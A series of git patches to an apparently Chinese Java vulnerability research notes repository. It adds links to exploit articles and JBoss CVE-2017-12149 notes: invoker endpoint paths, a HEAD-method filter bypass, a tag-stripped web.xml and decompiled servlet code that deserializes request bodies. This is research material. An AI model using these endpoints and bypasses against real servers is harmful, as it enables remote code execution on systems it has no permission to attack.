From 3b199f945fb869f8cb3e7df63ea176b660697c4a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 22 Jun 2022 17:27:24 +0800 Subject: [PATCH 001/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b8f6a30..e06ff9a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -137,3 +137,4 @@ + 2022/06/12 [Identity Security Authentication Vulnerability](http://noahblog.360.cn/an-quan-ren-zheng-xiang-guan-lou-dong-wa-jue/) **权限绕过认证非常不错** + 2022/06/12 [Blackhat 2021 议题详细分析—— FastJson 反序列化漏洞及在区块链应用中的渗透利用](http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/) **扩大了利用** + 2022/06/18 [Java中的任意文件上传技巧](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/) **bypass waf 文件上传** ++ 2022/06/22 [关于Tomcat中的三个Context的理解](https://yzddmr6.com/posts/tomcat-context/) From fd59cc19dcba105a9124ece08537db56131669b5 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 24 Jun 2022 10:14:40 +0800 Subject: [PATCH 002/254] Update Readme.md --- "java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" index d69975f..722fd77 100644 --- "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" +++ "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Readme.md" @@ -2,6 +2,7 @@ >https://github.com/lufeirider/BypassShell/blob/master/JAVA/JAVA.md +>https://gosecure.github.io/template-injection-workshop/#0 + [FreeMarker模板注入](FreeMarker) 后缀名.ftl From 83bf9845180d808bcd8fc77b2e57169d66f014e1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 24 Jun 2022 12:58:08 +0800 Subject: [PATCH 003/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e06ff9a..f55dbba 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -138,3 +138,4 @@ + 2022/06/12 [Blackhat 2021 议题详细分析—— FastJson 反序列化漏洞及在区块链应用中的渗透利用](http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/) **扩大了利用** + 2022/06/18 [Java中的任意文件上传技巧](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/) **bypass waf 文件上传** + 2022/06/22 [关于Tomcat中的三个Context的理解](https://yzddmr6.com/posts/tomcat-context/) ++ 2022/06/24 [利用tomcat自动部署机制getshell](https://novysodope.github.io/2022/06/01/82/) **tocmat 文件上传war目录穿越到webapps目录 getshell** From 122d66a5e11cfd65e3746928fdc6b60d57d774e7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 24 Jun 2022 13:12:45 +0800 Subject: [PATCH 004/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index f55dbba..a778fc9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -139,3 +139,4 @@ + 2022/06/18 [Java中的任意文件上传技巧](https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/) **bypass waf 文件上传** + 2022/06/22 [关于Tomcat中的三个Context的理解](https://yzddmr6.com/posts/tomcat-context/) + 2022/06/24 [利用tomcat自动部署机制getshell](https://novysodope.github.io/2022/06/01/82/) **tocmat 文件上传war目录穿越到webapps目录 getshell** ++ 2022/06/24 [记一次Spring Devtools反序列化利用](https://xz.aliyun.com/t/8349) **非常不错而且居然是2020年的知识** From 19f099d56bd1f458e15a6177638cfb8677a09011 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 25 Jun 2022 22:02:51 +0800 Subject: [PATCH 005/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a778fc9..176579a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -140,3 +140,4 @@ + 2022/06/22 [关于Tomcat中的三个Context的理解](https://yzddmr6.com/posts/tomcat-context/) + 2022/06/24 [利用tomcat自动部署机制getshell](https://novysodope.github.io/2022/06/01/82/) **tocmat 文件上传war目录穿越到webapps目录 getshell** + 2022/06/24 [记一次Spring Devtools反序列化利用](https://xz.aliyun.com/t/8349) **非常不错而且居然是2020年的知识** ++ 2022/06/25 [CVE-2022-22978 Spring Security RegexRequestMatcher 认证绕过及转发流程分析](https://xz.aliyun.com/t/11473) **对认证过后spring分发器的分析不错,自己之前就遇到了404的问题** From f65caaf7b8980cac7f91d764ebd37ac0de0397b1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 25 Jun 2022 22:30:37 +0800 Subject: [PATCH 006/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 176579a..7707a95 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -141,3 +141,4 @@ + 2022/06/24 [利用tomcat自动部署机制getshell](https://novysodope.github.io/2022/06/01/82/) **tocmat 文件上传war目录穿越到webapps目录 getshell** + 2022/06/24 [记一次Spring Devtools反序列化利用](https://xz.aliyun.com/t/8349) **非常不错而且居然是2020年的知识** + 2022/06/25 [CVE-2022-22978 Spring Security RegexRequestMatcher 认证绕过及转发流程分析](https://xz.aliyun.com/t/11473) **对认证过后spring分发器的分析不错,自己之前就遇到了404的问题** ++ 2022/06/25 [【新手入门系列】 一步一步教你漏洞挖掘之如何在半黑盒模式下挖掘RCE漏洞](https://mp.weixin.qq.com/s/nusGsstudrQt2dwZxHXKgg) **客服端漏洞挖掘。。** From 57e516fe9bfaf3b6741fe68f6e936fb8b4a8f4e0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 25 Jun 2022 22:44:18 +0800 Subject: [PATCH 007/254] Update Readme.md --- SnakeYaml/Readme.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/SnakeYaml/Readme.md b/SnakeYaml/Readme.md index ec4c550..cf6bec6 100644 --- a/SnakeYaml/Readme.md +++ b/SnakeYaml/Readme.md @@ -1,7 +1,9 @@ # snakeyaml ## 不出网利用 ->通过fastjson写文件如何本地加载rce +>通过写文件然后本地加载rce + +//todo 写一个工具 去完成 https://xz.aliyun.com/t/10655 From 7b70f617cbdd71ebd25336b2cdeb6d1b22c736ea Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 27 Jun 2022 22:28:08 +0800 Subject: [PATCH 008/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 7707a95..8fae1f4 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -142,3 +142,4 @@ + 2022/06/24 [记一次Spring Devtools反序列化利用](https://xz.aliyun.com/t/8349) **非常不错而且居然是2020年的知识** + 2022/06/25 [CVE-2022-22978 Spring Security RegexRequestMatcher 认证绕过及转发流程分析](https://xz.aliyun.com/t/11473) **对认证过后spring分发器的分析不错,自己之前就遇到了404的问题** + 2022/06/25 [【新手入门系列】 一步一步教你漏洞挖掘之如何在半黑盒模式下挖掘RCE漏洞](https://mp.weixin.qq.com/s/nusGsstudrQt2dwZxHXKgg) **客服端漏洞挖掘。。** ++ 2022/06/27 [Beanshell未授权利用简析](https://www.kitsch.live/2021/09/22/beanshell%e6%9c%aa%e6%8e%88%e6%9d%83%e5%88%a9%e7%94%a8%e7%ae%80%e6%9e%90/) **其他绕过方法** From 8b296e1c18e4399452d2dc598206df74779402dc Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 27 Jun 2022 23:12:36 +0800 Subject: [PATCH 009/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 8fae1f4..a159900 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -143,3 +143,4 @@ + 2022/06/25 [CVE-2022-22978 Spring Security RegexRequestMatcher 认证绕过及转发流程分析](https://xz.aliyun.com/t/11473) **对认证过后spring分发器的分析不错,自己之前就遇到了404的问题** + 2022/06/25 [【新手入门系列】 一步一步教你漏洞挖掘之如何在半黑盒模式下挖掘RCE漏洞](https://mp.weixin.qq.com/s/nusGsstudrQt2dwZxHXKgg) **客服端漏洞挖掘。。** + 2022/06/27 [Beanshell未授权利用简析](https://www.kitsch.live/2021/09/22/beanshell%e6%9c%aa%e6%8e%88%e6%9d%83%e5%88%a9%e7%94%a8%e7%ae%80%e6%9e%90/) **其他绕过方法** ++ 2022/06/27 [漏洞检测的那些事儿](https://paper.seebug.org/9/) **漏洞检测相关的知识** From 12bfda258a9263bc6405c25f850297639ef3771b Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 29 Jun 2022 08:53:45 +0800 Subject: [PATCH 010/254] Update Readme.md --- .../Readme.md" | 3 +++ 1 file changed, 3 insertions(+) diff --git "a/Shiro/Shiro\346\235\203\351\231\220\347\273\225\350\277\207/Readme.md" "b/Shiro/Shiro\346\235\203\351\231\220\347\273\225\350\277\207/Readme.md" index 90be438..6073000 100644 --- "a/Shiro/Shiro\346\235\203\351\231\220\347\273\225\350\277\207/Readme.md" +++ "b/Shiro/Shiro\346\235\203\351\231\220\347\273\225\350\277\207/Readme.md" @@ -155,7 +155,10 @@ pom.xml 中版本修改为 1.7.0 或及以下即可 /admin/%20 ``` +## CVE-2022-32532 +[CVE-2022-32532](https://github.com/4ra1n/CVE-2022-32532) +原理参考[CVE-2022-22978 Spring Security RegexRequestMatcher 认证绕过及转发流程分析](https://xz.aliyun.com/t/11473) >参考： > From 0375cf9efffa189c8c02f2057f4d31bb3cb497dc Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 30 Jun 2022 09:57:35 +0800 Subject: [PATCH 011/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a159900..b8c200b 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -47,7 +47,7 @@ + 2021/10/26 [Hessian 原理分析](https://www.cnblogs.com/shangxiaofei/p/4222170.html) 大概就是以二进制数组传输的rpc，存在反序列化问题。 + 2021/10/26 [XXL-JOB Hessian2反序列化漏洞](https://www.mi1k7ea.com/2021/04/22/XXL-JOB-Hessian2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/) + 2021/10/30 [Mojarra JSF ViewState 反序列化漏洞](https://blog.csdn.net/xuandao_ahfengren/article/details/113135364) -+ 2021/11/02 [关于Java 中 XXE 的利用限制探究](https://www.freebuf.com/articles/web/284225.html) **使用http外带数据不能有换行，使用ftp可以解决，但是ftp在java 8u131修复了这个漏洞 CVE-2017-3533** ++ 2021/11/02 [关于Java 中 XXE 的利用限制探究](https://www.freebuf.com/articles/web/284225.html) **使用http外带数据不能有换行，使用ftp可以解决，但是ftp在java 8u131修复了这个漏洞 CVE-2017-3533** [代码修复](https://github.com/openjdk/jdk8u-dev/commit/644ddd7722bea502f029378c22d51b6eb66f8c25) + 2021/11/02 [Adobe ColdFusion 反序列化漏洞（CVE-2017-3066）](https://github.com/vulhub/vulhub/blob/master/coldfusion/CVE-2017-3066/README.zh-cn.md) 暴露接口反序列化。。。 + 2021/11/03 [浅谈Liferay Portal JSON Web Service未授权反序列化远程代码执行漏洞](https://xz.aliyun.com/t/7485) + 2021/11/03 [H2 Database Console 未授权访问](https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md) From e4ce9bdc0217e92f8c14105f3ee8066c2fdb121b Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 2 Jul 2022 16:11:38 +0800 Subject: [PATCH 012/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b8c200b..b82a05e 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -144,3 +144,4 @@ + 2022/06/25 [【新手入门系列】 一步一步教你漏洞挖掘之如何在半黑盒模式下挖掘RCE漏洞](https://mp.weixin.qq.com/s/nusGsstudrQt2dwZxHXKgg) **客服端漏洞挖掘。。** + 2022/06/27 [Beanshell未授权利用简析](https://www.kitsch.live/2021/09/22/beanshell%e6%9c%aa%e6%8e%88%e6%9d%83%e5%88%a9%e7%94%a8%e7%ae%80%e6%9e%90/) **其他绕过方法** + 2022/06/27 [漏洞检测的那些事儿](https://paper.seebug.org/9/) **漏洞检测相关的知识** ++ 2022/07/02 [记一次无文件Webshell攻击分析](https://changxia3.com/2021/07/13/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%97%A0%E6%96%87%E4%BB%B6Webshell%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/) From 521cf5dd53eeeca310a7ab8f239a25d9e0433991 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 3 Jul 2022 20:21:01 +0800 Subject: [PATCH 013/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b82a05e..415bb41 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -145,3 +145,4 @@ + 2022/06/27 [Beanshell未授权利用简析](https://www.kitsch.live/2021/09/22/beanshell%e6%9c%aa%e6%8e%88%e6%9d%83%e5%88%a9%e7%94%a8%e7%ae%80%e6%9e%90/) **其他绕过方法** + 2022/06/27 [漏洞检测的那些事儿](https://paper.seebug.org/9/) **漏洞检测相关的知识** + 2022/07/02 [记一次无文件Webshell攻击分析](https://changxia3.com/2021/07/13/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%97%A0%E6%96%87%E4%BB%B6Webshell%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/) ++ 2022/07/03 [第16篇：Weblogic 2019-2729反序列化漏洞绕防护拿权限的实战过程](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484303&idx=1&sn=58cbb4d7f63b9276bb89eeac286d174c&chksm=c25fccf4f52845e241256c2f425003b73b6061b3d1964dcd4a184a2cda1b4d8761098227e6de&mpshare=1&scene=23&srcid=0703XRThsRmunAKy5fSIYQKh&sharer_sharetime=1656786411917&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **其中的获取weblogic路径不错** From 5658e488a7fe1486912002ab287817ee32e70eca Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 9 Jul 2022 13:24:24 +0800 Subject: [PATCH 014/254] Update README.md --- Jboss/README.md | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/Jboss/README.md b/Jboss/README.md index 029922c..840d1a5 100644 --- a/Jboss/README.md +++ b/Jboss/README.md @@ -1,4 +1,4 @@ -## jboss介绍： +# jboss介绍： JBoss 是一个基于J2EE的[开放源代码](https://baike.baidu.com/item/开放源代码/114160)的[应用服务器](https://baike.baidu.com/item/应用服务器/4971773)。 JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。 @@ -6,3 +6,14 @@ JBoss 是一个基于J2EE的[开放源代码](https://baike.baidu.com/item/开 所以自己想写一个综合利用的工具。。。 + [JBOSS CVE-2017-12149 WAF绕过之旅](https://www.yulegeyu.com/2021/03/05/JBOSS-CVE-2017-12149-WAF%E7%BB%95%E8%BF%87%E4%B9%8B%E6%97%85/) + +## CVE-2017-12149 + +**endpoint** +``` +/invoker/readonly +/invoker/EJBInvokerServlet +/invoker/JMXInvokerServlet +/invoker/readonly/JMXInvokerServlet +/invoker/restricted/JMXInvokerServlet +``` From 5c7898aae22bcfeae2dd48ce1b62f57808317143 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 9 Jul 2022 13:30:14 +0800 Subject: [PATCH 015/254] Update README.md --- Jboss/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jboss/README.md b/Jboss/README.md index 840d1a5..05bb751 100644 --- a/Jboss/README.md +++ b/Jboss/README.md @@ -8,7 +8,7 @@ JBoss 是一个基于J2EE的[开放源代码](https://baike.baidu.com/item/开 + [JBOSS CVE-2017-12149 WAF绕过之旅](https://www.yulegeyu.com/2021/03/05/JBOSS-CVE-2017-12149-WAF%E7%BB%95%E8%BF%87%E4%B9%8B%E6%97%85/) ## CVE-2017-12149 - +bypass 请求方式是HEAD **endpoint** ``` /invoker/readonly From 9bedef620fa3a13cf65efd526a50fcdfd6030dbf Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 9 Jul 2022 13:30:28 +0800 Subject: [PATCH 016/254] Update README.md --- Jboss/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/Jboss/README.md b/Jboss/README.md index 05bb751..10fa4ff 100644 --- a/Jboss/README.md +++ b/Jboss/README.md @@ -9,6 +9,7 @@ JBoss 是一个基于J2EE的[开放源代码](https://baike.baidu.com/item/开 ## CVE-2017-12149 bypass 请求方式是HEAD + **endpoint** ``` /invoker/readonly From 90e4dc33aec17ad352ad094d770eb7d92803452c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 9 Jul 2022 13:59:33 +0800 Subject: [PATCH 017/254] Update README.md --- Jboss/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jboss/README.md b/Jboss/README.md index 10fa4ff..aa2b85d 100644 --- a/Jboss/README.md +++ b/Jboss/README.md @@ -12,7 +12,7 @@ bypass 请求方式是HEAD **endpoint** ``` -/invoker/readonly +/invoker/readonly 是一个filter 请求方法随便并且url后面可以加其他的 /invoker/EJBInvokerServlet /invoker/JMXInvokerServlet /invoker/readonly/JMXInvokerServlet From 566fae7b414b0391b9c6ab5e6ca3ecc0eedc3549 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 9 Jul 2022 14:03:06 +0800 Subject: [PATCH 018/254] Update README.md --- Jboss/README.md | 490 +++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 489 insertions(+), 1 deletion(-) diff --git a/Jboss/README.md b/Jboss/README.md index aa2b85d..6e56210 100644 --- a/Jboss/README.md +++ b/Jboss/README.md @@ -7,7 +7,7 @@ JBoss 是一个基于J2EE的[开放源代码](https://baike.baidu.com/item/开 + [JBOSS CVE-2017-12149 WAF绕过之旅](https://www.yulegeyu.com/2021/03/05/JBOSS-CVE-2017-12149-WAF%E7%BB%95%E8%BF%87%E4%B9%8B%E6%97%85/) -## CVE-2017-12149 +## 反序列化漏洞 bypass 请求方式是HEAD **endpoint** @@ -18,3 +18,491 @@ bypass 请求方式是HEAD /invoker/readonly/JMXInvokerServlet /invoker/restricted/JMXInvokerServlet ``` +http-invoker.sar 组件的问题 + +web.xml + +```xml + + + + + + + ReadOnlyAccessFilter + org.jboss.invocation.http.servlet.ReadOnlyAccessFilter + + readOnlyContext + readonly + The top level JNDI context the filter will enforce + read-only access on. If specified only Context.lookup operations + will be allowed on this context. Another other operations or lookups + on any other context will fail. Do not associate this filter with the + JMXInvokerServlets if you want unrestricted access. + + + + invokerName + jboss:service=NamingBeanImpl + The JMX ObjectName of the naming service mbean + + + + + + ReadOnlyAccessFilter + /readonly/* + + + + + EJBInvokerServlet + The EJBInvokerServlet receives posts containing serlized + MarshalledInvocation objects that are routed to the EJB invoker given by + the invokerName init-param. The return content is a serialized + MarshalledValue containg the return value of the inovocation, or any + exception that may have been thrown. + + org.jboss.invocation.http.servlet.InvokerServlet + + invokerName + jboss:service=invoker,type=http + The RMI/HTTP EJB compatible invoker + + 1 + + + JMXInvokerServlet + The JMXInvokerServlet receives posts containing serlized + MarshalledInvocation objects that are routed to the invoker given by + the the MBean whose object name hash is specified by the + invocation.getObjectName() value. The return content is a serialized + MarshalledValue containg the return value of the inovocation, or any + exception that may have been thrown. + + org.jboss.invocation.http.servlet.InvokerServlet + 1 + + + + JNDIFactory + A servlet that exposes the JBoss JNDI Naming service stub + through http. The return content is a serialized + MarshalledValue containg the org.jnp.interfaces.Naming stub. This + configuration handles requests for the standard JNDI naming service. + + org.jboss.invocation.http.servlet.NamingFactoryServlet + + namingProxyMBean + jboss:service=invoker,type=http,target=Naming + + + proxyAttribute + Proxy + + 2 + + + + ReadOnlyJNDIFactory + A servlet that exposes the JBoss JNDI Naming service stub + through http, but only for a single read-only context. The return content + is a serialized MarshalledValue containg the org.jnp.interfaces.Naming + stub. + + org.jboss.invocation.http.servlet.NamingFactoryServlet + + namingProxyMBean + jboss:service=invoker,type=http,target=Naming,readonly=true + + + proxyAttribute + Proxy + + 2 + + + + + JNDIFactory + /JNDIFactory/* + + + + ReadOnlyJNDIFactory + /ReadOnlyJNDIFactory/* + + + EJBInvokerServlet + /EJBInvokerServlet/* + + + JMXInvokerServlet + /JMXInvokerServlet/* + + + + JMXInvokerServlet + /readonly/JMXInvokerServlet/* + + + + + JNDIFactory + /restricted/JNDIFactory/* + + + JMXInvokerServlet + /restricted/JMXInvokerServlet/* + + + + + + HttpInvokers + An example security config that only allows users with the + role HttpInvoker to access the HTTP invoker servlets + + /restricted/* + GET + POST + + + HttpInvoker + + + + BASIC + JBoss HTTP Invoker + + + + HttpInvoker + + +``` +org.jboss.invocation.http.servlet.ReadOnlyAccessFilter +```java +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by FernFlower decompiler) +// + +package org.jboss.invocation.http.servlet; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.lang.reflect.Method; +import java.security.Principal; +import java.util.Map; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.Filter; +import javax.servlet.FilterChain; +import javax.servlet.FilterConfig; +import javax.servlet.ServletException; +import javax.servlet.ServletInputStream; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import org.jboss.invocation.MarshalledInvocation; +import org.jboss.logging.Logger; +import org.jboss.mx.util.MBeanServerLocator; + +public class ReadOnlyAccessFilter implements Filter { + private static Logger log = Logger.getLogger(ReadOnlyAccessFilter.class); + private FilterConfig filterConfig = null; + private String readOnlyContext; + private Map namingMethodMap; + + public ReadOnlyAccessFilter() { + } + + public void init(FilterConfig filterConfig) throws ServletException { + this.filterConfig = filterConfig; + if (filterConfig != null) { + this.readOnlyContext = filterConfig.getInitParameter("readOnlyContext"); + String invokerName = filterConfig.getInitParameter("invokerName"); + + try { + MBeanServer mbeanServer = MBeanServerLocator.locateJBoss(); + ObjectName mbean = new ObjectName(invokerName); + this.namingMethodMap = (Map)mbeanServer.getAttribute(mbean, "MethodMap"); + } catch (Exception var5) { + log.error("Failed to init ReadOnlyAccessFilter", var5); + throw new ServletException("Failed to init ReadOnlyAccessFilter", var5); + } + } + + } + + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest httpRequest = (HttpServletRequest)request; + Principal user = httpRequest.getUserPrincipal(); + if (user == null && this.readOnlyContext != null) { + ServletInputStream sis = request.getInputStream(); + ObjectInputStream ois = new ObjectInputStream(sis); + MarshalledInvocation mi = null; + + try { + mi = (MarshalledInvocation)ois.readObject(); + } catch (ClassNotFoundException var10) { + throw new ServletException("Failed to read MarshalledInvocation", var10); + } + + request.setAttribute("MarshalledInvocation", mi); + mi.setMethodMap(this.namingMethodMap); + Method m = mi.getMethod(); + if (m != null) { + this.validateAccess(m, mi); + } + } + + chain.doFilter(request, response); + } + + public void destroy() { + } + + public String toString() { + if (this.filterConfig == null) { + return "NamingAccessFilter()"; + } else { + StringBuffer sb = new StringBuffer("NamingAccessFilter("); + sb.append(this.filterConfig); + sb.append(")"); + return sb.toString(); + } + } + + private void validateAccess(Method m, MarshalledInvocation mi) throws ServletException { + boolean trace = log.isTraceEnabled(); + if (trace) { + log.trace("Checking against readOnlyContext: " + this.readOnlyContext); + } + + String methodName = m.getName(); + if (!methodName.equals("lookup")) { + throw new ServletException("Only lookups against " + this.readOnlyContext + " are allowed"); + } else { + Object[] args = mi.getArguments(); + Object arg = args.length > 0 ? args[0] : ""; + String name; + if (arg instanceof String) { + name = (String)arg; + } else { + name = arg.toString(); + } + + if (trace) { + log.trace("Checking lookup(" + name + ") against: " + this.readOnlyContext); + } + + if (!name.startsWith(this.readOnlyContext)) { + throw new ServletException("Lookup(" + name + ") is not under: " + this.readOnlyContext); + } + } + } +} +``` +org.jboss.invocation.http.servlet.InvokerServlet +```java +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by FernFlower decompiler) +// + +package org.jboss.invocation.http.servlet; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.InvocationTargetException; +import java.security.AccessController; +import java.security.Principal; +import java.security.PrivilegedAction; +import javax.management.MBeanServer; +import javax.management.MalformedObjectNameException; +import javax.management.ObjectName; +import javax.servlet.ServletConfig; +import javax.servlet.ServletException; +import javax.servlet.ServletInputStream; +import javax.servlet.ServletOutputStream; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.jboss.invocation.InvocationException; +import org.jboss.invocation.MarshalledInvocation; +import org.jboss.invocation.MarshalledValue; +import org.jboss.logging.Logger; +import org.jboss.mx.util.JMXExceptionDecoder; +import org.jboss.mx.util.MBeanServerLocator; +import org.jboss.security.SecurityAssociation; +import org.jboss.system.Registry; + +public class InvokerServlet extends HttpServlet { + private static Logger log = Logger.getLogger(InvokerServlet.class); + private static String REQUEST_CONTENT_TYPE = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation"; + private static String RESPONSE_CONTENT_TYPE = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue"; + private MBeanServer mbeanServer; + private ObjectName localInvokerName; + + public InvokerServlet() { + } + + public void init(ServletConfig config) throws ServletException { + super.init(config); + + try { + String name = config.getInitParameter("invokerName"); + if (name != null) { + this.localInvokerName = new ObjectName(name); + log.debug("localInvokerName=" + this.localInvokerName); + } + } catch (MalformedObjectNameException var3) { + throw new ServletException("Failed to build invokerName", var3); + } + + this.mbeanServer = MBeanServerLocator.locateJBoss(); + if (this.mbeanServer == null) { + throw new ServletException("Failed to locate the MBeanServer"); + } + } + + public void destroy() { + } + + protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + boolean trace = log.isTraceEnabled(); + if (trace) { + log.trace("processRequest, ContentLength: " + request.getContentLength()); + log.trace("processRequest, ContentType: " + request.getContentType()); + } + + Boolean returnValueAsAttribute = (Boolean)request.getAttribute("returnValueAsAttribute"); + + try { + response.setContentType(RESPONSE_CONTENT_TYPE); + MarshalledInvocation mi = (MarshalledInvocation)request.getAttribute("MarshalledInvocation"); + if (mi == null) { + ServletInputStream sis = request.getInputStream(); + ObjectInputStream ois = new ObjectInputStream(sis); + mi = (MarshalledInvocation)ois.readObject(); + ois.close(); + } + + if (mi.getPrincipal() == null && mi.getCredential() == null) { + mi.setPrincipal(InvokerServlet.GetPrincipalAction.getPrincipal()); + 